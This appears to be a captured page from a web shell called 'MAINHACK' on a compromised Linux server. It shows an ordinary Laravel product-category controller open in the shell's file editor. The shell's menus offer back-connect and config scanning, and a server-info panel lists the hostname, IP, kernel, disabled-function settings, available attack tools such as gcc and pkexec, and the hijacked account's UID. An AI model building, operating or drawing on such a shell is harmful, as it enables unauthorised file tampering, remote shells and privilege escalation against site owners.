[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProductCategoryController.php
<?php namespace App\Http\Controllers; use App\Models\Ecommerce\Product; use App\Models\Ecommerce\ProductType; use App\Models\ProductCategory; use Brian2694\Toastr\Facades\Toastr; use Illuminate\Http\Request; use Illuminate\Support\Str; class ProductCategoryController extends Controller { public function index(Request $request) { $data['collection'] = ProductCategory::latest()->get(); return view('category.index')->with($data); } public function create() { return view('category.create'); } public function store(Request $request) { $this->inputValidation($request); try { $data = $request->all(); $image = $request->file('image'); $banner = $request->file('banner'); if (!empty($image)) { $data['image'] = $this->fileUploader($image, 'images/product_category', 140, 140); } if (!empty($banner)) { $data['banner'] = $this->fileUploader($banner, 'images/product_category', 1350, 250); } $data['slug'] = Str::slug($request->title); ProductCategory::create($data); Toastr::success('Added successfully!', '', ['progressBar' => true, 'closeButton' => true, 'positionClass' => 'toast-top-right']); return redirect()->route('categories.index'); } catch (\Exception $e) { Toastr::error($e->getMessage(), '', ['progressBar' => true, 'closeButton' => true, 'positionClass' => 'toast-top-right']); return redirect()->back(); } } public function edit($id) { $category = ProductCategory::findOrFail($id); return view('category.edit', compact('category')); } public function update(Request $request, $id) { $this->inputValidation($request, $id); try { $product_type = ProductCategory::findOrFail($id); $data = $request->all(); $image = $request->file('image'); $banner = $request->file('banner'); if (!empty($image)) { $data['image'] = $this->fileUploader($image, 'images/product_category', 135, 140,$product_type->image); } else { $data['image'] = $product_type->image; } // Banner image if (!empty($banner)) { $data['banner'] = $this->fileUploader($banner, 'images/product_category', 1350, 250,$product_type->banner); } else { $data['banner'] = $product_type->banner; } $data['slug'] = Str::slug($request->title); $product_type->update($data); Toastr::success('Product type been updated successfully!', '', ['progressBar' => true, 'closeButton' => true, 'positionClass' => 'toast-top-right']); return redirect()->route('categories.index'); } catch (\Exception $e) { Toastr::error($e->getMessage(), '', ['progressBar' => true, 'closeButton' => true, 'positionClass' => 'toast-top-right']); return redirect()->back(); } } public function delete($id) { try { $category = ProductCategory::findOrFail($id); $res = $category->delete(); if ($res){ $this->deleteFile($category->image); $this->deleteFile($category->banner); Toastr::success('Product type been deleted successfully!', '', ['progressBar' => true, 'closeButton' => true, 'positionClass' => 'toast-top-right']); return redirect()->route('categories.index'); } } catch (\Exception $e) { Toastr::error($e->getMessage(), '', ['progressBar' => true, 'closeButton' => true, 'positionClass' => 'toast-top-right']); return redirect()->back(); } } protected function inputValidation($request, $id = null) { $request->validate([ 'title' => 'required', 'status' => 'required', 'sorting' => 'required', 'type' => 'required', ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002